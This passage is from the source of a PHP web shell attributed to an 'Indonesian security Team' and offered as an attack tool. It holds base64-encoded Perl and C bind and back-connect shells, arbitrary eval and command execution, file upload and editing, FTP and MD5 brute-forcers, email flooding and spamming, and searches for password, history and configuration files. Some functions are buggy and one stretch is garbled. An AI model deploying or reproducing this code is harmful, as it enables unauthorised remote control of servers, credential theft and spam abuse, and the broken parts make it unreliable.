alert('Your shell script was succefully deleted!')";
}
function md5_brute($hash,$log,$dict)
{
ignore_user_abort(1);
set_time_limit(0);
$fl = fopen($dict, "r");
$fl = fopen($log, "w");
$count = 0;
if(!$dict){
return "Fill 'dictionary_file' field!";
}if(!$log){
return "Fill 'log_file' field!";
}elseif(!strlen($hash) == 0){
return "Fill 'md5_hash' field!";
}else{
while(!$feof($dict)){
$pass = fgets($dict);
$brute_hash = md5($pass);
if($brute_hash == $hash){
fputs($log, "$hash:$pass\n---");
fclose($dict);
fclose($log);
exit;
}else{
$count = $count + 1;
fputs($log, "$count passwords was bruted...");
}
}
fputs($log, "$count passwords are failed!");
}
fclose($dict);
fclose($log);
}
function port_bind($port,$pass,$method)
{
$perl = "IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS
VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs
JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV
TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG
lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK
Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i
Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N
lIENPTk47DQpleGl0IDA7DQp9DQp9";
$c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS
A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I
GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt
b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9
pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF
NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK
ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog
ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk
7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2
9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld
2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu
dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp
lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0=";
if($method=='Perl')
{
fputs($i=fopen('/tmp/shlbck','w'),base64_decode($perl));
fclose($i);
ex(which("perl")." /tmp/shlbck ".$port." &");
unlink("/tmp/shlbck");
return ex('ps -aux | grep shlbck');
}
elseif($method=='C#')
{
fputs($i=fopen('/tmp/shlbck.c','w'),base64_decode($c));
fclose($i);
ex("gcc shlbck.c -o shlbck");
unlink('shlbck.c');
ex("/tmp/shlbck ".$port." ".$pass." &");
unlink("/tmp/shlbck");
return ex('ps -aux | grep shlbck');
}else
{
return 'Choose method';
}
}
function backconnect($ip,$port,$method)
{
$perl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj
aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR
hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT
sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI
kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi
KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl
OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC
BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb
SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd
KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ
sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC
Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D
QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp
Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
if($method=='Perl')
{
fputs($i=fopen('/tmp/shlbck','w'),base64_decode($perl));
fclose($i);
ex(which("perl")." /tmp/shlbck ".$ip." ".$port." &");
unlink("/tmp/shlbck");
return ex('netstat -an | grep -i listen');
}
elseif($method=='C#')
{
fputs($i=fopen('/tmp/shlbck.c','w'),base64_decode($c));
fclose($i);
ex("gcc shlbck.c -o shlbck");
unlink('shlbck.c');
ex("/tmp/shlbck ".$ip." ".$port." &");
unlink("/tmp/shlbck");
return ex('netstat -an | grep -i listen');
}else
{
return 'Choose method';
}
}
if($_POST['type']==11){download(stripslashes($_POST['value']));};
function download($dfilename)
{
$file=fopen($dfilename,"r");
ob_clean();
$filename = basename($dfilename);
$filedump = fread($file,@filesize($dfilename));
fclose($file);
header("Content-type: ".$mime_type);
header("Content-disposition: attachment; filename=\"".$filename."\";");
echo $filedump;
}
function flooder($logf,$to,$from,$subject,$msg,$amount,$check)
{
ignore_user_abort(1);
set_time_limit(0);
$fl = fopen($logf, "w");
$count = 0;
if(!$logf){
return "Fill 'log_file' field!";
}elseif(!$to){
return "Fill 'Send to' field!";
}elseif(!$from){
return "Fill 'From' field!";
}elseif(!$subject){
return "Fill 'Subject' field!";
}elseif(!$msg){
return "Fill 'Message' field!";
}elseif(!$amount){
return "Fill 'Amount' field!";
}else{
while($count < $amount){
mail("$to", "$subject", "$msg", "From: $from");
$count = $count + 1;
$fl = fopen($logf, "w");
fputs($fl, "$count flood-letters was sended...");
fclose($fl);
}
if(strlen($check) != 0){
$check_text = "Done! $count flood-letters was sended!";
$check_sub = 'Check';
mail("$check", "$check_sub", "$check_text", "From: $from");
$fl = fopen($logf, "w");
fputs($fl, "Done! $count flood-letters was sended!");
}
else{
$fl = fopen($logf, "w");
fputs($fl, "Done! $count flood-letters was sended!");
}
}
fclose($fl);
}
function ftp_brute($host,$ftp_users,$ftp_passwd,$ftp_log)
{
ignore_user_abort(1);
set_time_limit(0);
$fl = fopen($ftp_users, "r");
$fd = fopen($ftp_passwd, "r");
$fr = fopen($ftp_log, "a+");
if(!$host){
return "Fill 'Host' field!";
}elseif(!$ftp_users){
return "Fill 'ftp_users file' field!";
}elseif(!$ftp_passwd){
return "Fill 'ftp_passwd file' field!";
}elseif(!$ftp_log){
return "Fill 'ftp_log file' field!";
}elseif(!file_exists($ftp_users)){
return "File ".$ftp_users." doesn't exists!";
}elseif(!file_exists($ftp_passwd)){
return "File ".$ftp_passwd." doesn't exists!";
}
else{
while(!feof($fd)){
$pass = fgets($fd);
while(!feof($fl)){
$user = fgets($fl);
$connect = ftp_connect($host);
if(!$connect){
fputs($fr, "Enable connect to $host\n");
exit;
}else{
$auth = ftp_login($connect, $user, $pass);
if(!$auth){
ftp_quit($connect);
}
else{
fputs($fr, "$host:\n---$login:$pass\n---");
ftp_quit($connect);
}
}
}
}
fputs($fr, "Done:\n");
fclose($fr);
}
fclose($fl);
fclose($fd);
}
function spammer($from,$subject,$msg,$check,$elist,$logf)
{
ignore_user_abort(1);
set_time_limit(0);
$fp = fopen($elist. "r");
$fl = fopen($logf, "w");
$count = 0;
if(!$from){
return "Fill 'From' field!";
}elseif(!$elist){
return "Fill 'Emails list' field!";
}elseif(!$logf){
return "Fill 'Log File' field!";
}elseif(!$msg){
return "Fill 'Message' field!";
}elseif(!$subject){
return "Fill 'Subject' field!";
}elseif(!file_exists($elist)){
return "File ".$elist." doesn't exists!";
}else{
while(!feof($fp)){
$to = fgets($fp);
mail("$to", "$subject", "$msg", "From: $from");
$count = $count + 1;
$fl = fopen($logf, "w");
fputs($fl, "$count letters was sended...");
fclose($fl);
}
if(strlen($check) != 0){
$check_text = "Done! $count letters was sended!";
$check_sub = 'Check';
mail("$check", "$check_sub", "$check_text", "From: $from");
$fl = fopen($logf, "w");
fputs($fl, "Done! $count letters was sended!\n");
}
else{
$fl = fopen($logf, "w");
fputs($fl, "Done! $count letters was sended!");
}
}
fclose($fp);
fclose($fl);
}
function alias($in)
{
if($in=="find apahce config file"){return ex('find / -type f -name httpd.conf');}
elseif($in=="find access_log files"){return ex('find / -type f -name access_log');}
elseif($in=="find error_log files"){return ex('find / -type f -name error_log');}
elseif($in=="find suid files"){return ex('find / -type f -perm -04000 -ls');}
elseif($in=="find suid files in current dir"){return ex('find . -type f -perm -04000 -ls');}
elseif($in=="find sgid files"){return ex('find / -type f -perm -02000 -ls');}
elseif($in=="find sgid files in current dir"){return ex('find . -type f -perm -02000 -ls');}
elseif($in=="find config.inc.php files"){return ex('find / -type f -name config.inc.php');}
elseif($in=="find config.inc.php files in current dir"){return ex('find . -type f -name config.inc.php');}
elseif($in=="find config* files"){return ex('find / -type f -name "config*"');}
elseif($in=="find config* files in current dir"){return ex('find . -type f -name "config*"');}
elseif($in=="find all writable files"){return ex('find / -type f -perm -2 -ls');}
elseif($in=="find all writable files in current dir"){return ex('find . -type f -perm -2 -ls');}
elseif($in=="find all writable directories"){return ex('find / -type d -perm -2 -ls');}
elseif($in=="find all writable directories in current dir"){return ex('find . -type d -perm -2 -ls');}
elseif($in=="find all writable directories and files"){return ex('find / -perm -2 -ls');}
elseif($in=="find all writable directories and files in current dir"){return ex('find . -perm -2 -ls');}
elseif($in=="find all service.pwd files"){return ex('find / -type f -name service.pwd');}
elseif($in=="find service.pwd files in current dir"){return ex('find . -type f -name service.pwd');}
elseif($in=="find all .htpasswd files"){return ex('find / -type f -name .htpasswd');}
elseif($in=="find .htpasswd files in current dir"){return ex('find . -type f -name .htpasswd');}
elseif($in=="find all .bash_history files"){return ex('find / -type f -name .bash_history');}
elseif($in=="find .bash_history files in current dir"){return ex('find . -type f -name .bash_history');}
elseif($in=="find all .mysql_history files"){return ex('find / -type f -name .mysql_history');}
elseif($in=="find .mysql_history files in current dir"){return ex('find . -type f -name .mysql_history');}
elseif($in=="find all .fetchmailrc files"){return ex('find / -type f -name .fetchmailrc');}
elseif($in=="find .fetchmailrc files in current dir"){return ex('find . -type f -name .fetchmailrc');}
elseif($in=="list file attributes on a Linux second extended file system"){return ex('lsattr -va');}
elseif($in=="show opened ports"){return ex('netstat -an | grep -i listen');}
elseif($in=="---------------------------------------------------------------------------------------------------------"){return ex('ls -la');}
}
function testperl()
{
if(ex('perl -h'))
{
return "ON";
}else{
return "OFF";
}
}
function testlynx()
{
if(ex('lynx --help'))
{
return "ON";
}else{
return "OFF";
}
}
function view_size($size)
{
if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
else {$size = $size . " B";}
return $size;
}
function testfetch()
{
if(ex('fetch --help'))
{
return "ON";
}else{
return "OFF";
}
}
function testwget()
{
if(ex('wget --help'))
{
return "ON";
}else{
return "OFF";
}
}
function oracle()
{
if(function_exists('ocilogon'))
{
return "ON";
}else{
return "OFF";
}
}
function postgresql()
{
if(function_exists('pg_connect'))
{
return "ON";
}else{
return "OFF";
}
}
function testmssql()
{
if(function_exists('mssql_connect'))
{
return "ON";
}else{
return "OFF";
}
}
function testcurl()
{
if(function_exists('curl_version'))
{
return "ON";
}else{
return "OFF";
}
}
function testmysql()
{
if(function_exists('mysql_connect'))
{
return "ON";
}else{
return "OFF";
}
}
function safe_mode()
{
if(!$safe_mode && strpos(ex("echo abch0ld"),"h0ld")!=3)
{
$_SESSION['safe_mode'] = 1;
return "ON";
}else{
$_SESSION['safe_mode'] = 0;
return "OFF";
}
};
function ex($in)
{
$out = '';
if(function_exists('exec'))
{
exec($in,$out);
$out = join("\n",$out);
}
elseif(function_exists('passthru'))
{
ob_start();
passthru($in);
$out = ob_get_contents();
ob_end_clean();
}
elseif(function_exists('system'))
{
ob_start();
system($in);
$out = ob_get_contents();
ob_end_clean();
}
elseif(function_exists('shell_exec'))
{
$out = shell_exec($in);
}
elseif(is_resource($f = popen($in,"r")))
{
$out = "";
while(!@feof($f)) { $out .= fread($f,1024); }
pclose($f);
}
return $out;
}
function shell()
{
if($_POST['type']==1)
{
eval(stripslashes($_POST['value']));
}
elseif($_POST['type']==2)
{
pwd();
print_r(ex(stripslashes($_POST['value'])));
}
elseif($_POST['type']==3)
{
if($_SESSION['safe_mode'] == 1){
if(($u=safe_ex('ls -la'))!='')
{return $u;}else{return safe_ex('dir');};
}else{
if(($u=ex('ls -la'))!='')
{return $u;}else{return ex('dir');};
}
}
elseif($_POST['type']==4)
{
if(file_exists(stripslashes($_POST['value'])))
{
if($safe_mode!=1){
echo htmlspecialchars(fread(fopen(stripslashes($_POST['value']),"rw"),filesize(stripslashes($_POST['value']))));
}else{
echo htmlspecialchars(safe_read(stripslashes($_POST['value'])));
};
$_SESSION['edit']=1;
$_SESSION['filename'] = $_POST['value'];
}else{
return 'File doesn\'t exists!';
}
}
elseif($_POST['type']==5)
{
fputs(fopen($_SESSION['filename'],"w"),stripslashes($_POST['value']));
}
elseif($_POST['type']==6)
{
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
}
elseif($_POST['type']==7)
{
echo alias($_POST['value']);
}
elseif($_POST['type']==8)
{
echo spammer(stripslashes($_POST['from']),stripslashes($_POST['subject']),stripslashes($_POST['msg']),stripslashes($_POST['check']),stripslashes($_POST['elist']),stripslashes($_POST['logf']));
}
elseif($_POST['type']==9)
{
echo ftp_brute(stripslashes($_POST['host']),stripslashes($_POST['users']),stripslashes($_POST['passwd']),stripslashes($_POST['log']));
}
elseif($_POST['type']==10)
{
echo flooder(stripslashes($_POST['log']),stripslashes($_POST['to']),stripslashes($_POST['from']),stripslashes($_POST['subject']),stripslashes($_POST['msg']),stripslashes($_POST['amount']),stripslashes($_POST['check']));
}
elseif($_POST['type']==12)
{
echo backconnect(stripslashes($_POST['ip']),stripslashes($_POST['port']),stripslashes($_POST['method']));
}
elseif($_POST['type']==13)
{
echo backconnect(stripslashes($_POST['port']),stripslashes($_POST['pass']),stripslashes($_POST['method']));
}
elseif($_POST['type']==14)
{
echo md5_brute(stripslashes($_POST['hash']),stripslashes($_POST['log']),stripslashes($_POST['dict']));
}
else
{$u = ex('ls -la');
if($u == ''){return ex('dir');}else{return $u;};
}
return null;
};
function edit()
{
if ($_SESSION['edit'] == 1){
$_SESSION['edit']=0;
return "
"; else printf("% 7s ",$size);
}
else{
$owner = @posix_getpwuid($uid);
$grgid = @posix_getgrgid($gid);
echo $inode." ";
echo perms(@fileperms($file));
printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size);
echo date("d.m.Y H:i ",$mtime);
}
echo "$file\n";
}
$d->close();
}
function safe_read($in)
{
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
file_get_contents($in);
}
}
?>
.:: Indonesian security Shell Area::.
-==- Indonesian security Team - the biggest Indonesian security Hacking Community
